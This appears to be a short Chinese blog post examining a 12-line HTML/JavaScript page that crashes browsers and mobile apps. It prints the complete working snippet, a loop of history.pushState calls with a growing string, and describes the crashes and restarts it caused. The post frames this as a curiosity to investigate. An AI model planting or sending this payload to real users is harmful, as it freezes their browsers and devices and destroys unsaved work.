12行代码使浏览器“爆炸”之原因 5747

12行代码使浏览器“爆炸”? 在应用中点击可以直接导致应用闪退,在浏览器中打开也能直接让浏览器崩溃。这是怎么做到的呢?下面就来研究一下。

<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
    total= total+i.toString ();
    history.pushState (0,0,total);
}
</script>
</body>
</html>


(久亿提示:测试前请保存浏览器其它窗口的编辑任务)

接来下会发生什么?

  点开以后,我的状态是这样的:

如果你是 PC 端用户,点开链接以后,电脑 CPU 内存极有可能一路狂飙直至浏览器崩溃卡死!

  如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信客户端点开链接同样会闪退。iPhone 用 Safari 打开之后链接之后,手机注销重启了!…

  思考

  这是 Bug 还是 0day?为什么会有这一现象?如何实现的?